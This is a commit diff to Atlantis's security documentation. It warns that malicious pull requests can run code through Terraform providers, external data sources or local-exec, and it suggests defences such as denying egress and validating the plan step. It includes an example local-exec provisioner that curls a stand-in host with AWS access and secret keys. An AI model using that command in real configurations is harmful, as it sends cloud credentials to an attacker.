Update security docs

runatlantis.io/docs/security.md

@@ -4,15 +4,18 @@
 Because you usually run Atlantis on a server with credentials that allow access to your infrastructure it's important that you deploy Atlantis securely.
 
 Atlantis could be exploited by
+* An attacker submitting a pull request that contains a malicious Terraform file that
+  uses a malicious provider or an [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source)
+  that Atlantis then runs `terraform plan` on (which it does automatically unless you've turned off automatic plans).
 * Running `terraform apply` on a malicious Terraform file with [local-exec](https://www.terraform.io/docs/provisioners/local-exec.html)
-```tf
-resource "null_resource" "null" {
-  provisioner "local-exec" {
-    command = "curl https://cred-stealer.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
-  }
-}
-```
-* Running malicious hook commands specified in an `atlantis.yaml` file.
+    ```tf
+    resource "null_resource" "null" {
+      provisioner "local-exec" {
+        command = "curl https://cred-stealer.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
+      }
+    }
+    ```
+* Running malicious custom build commands specified in an `atlantis.yaml` file. Atlantis uses the `atlantis.yaml` file from the pull request branch, **not** `master`.
 * Someone adding `atlantis plan/apply` comments on your valid pull requests causing terraform to run when you don't want it to.
 
 ## Bitbucket Cloud (bitbucket.org)
@@ -47,6 +50,19 @@ For example:
 
 This flag ensures your Atlantis install isn't being used with repositories you don't control. See `atlantis server --help` for more details.
 
+### Protect Terraform Planning
+If attackers submitting pull requests with malicious Terraform code is in your threat model
+then you must be aware that `terraform apply` approvals are not enough. It is possible
+to run malicious code in a `terraform plan` using the [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source)
+or by specifying a malicious provider. This code could then exfiltrate your credentials.
+
+To prevent this, you could:
+1. Bake providers into the Atlantis image or host and deny egress in production.
+1. Implement the provider registry protocol internally and deny public egress, that way you control who has write access to the registry.
+1. Modify your [server-side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` step to validate against the
+   use of disallowed providers or data sources or PRs from not allowed users. You could also add in extra validation at this point, e.g.
+   requiring a "thumbs-up" on the PR before allowing the `plan` to continue. Conftest could be of use here.
+
 ### Webhook Secrets
 Atlantis should be run with Webhook secrets set via the `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` environment variables.
 Even with the `--repo-allowlist` flag set, without a webhook secret, attackers could make requests to Atlantis posing as a repository that is allowlisted.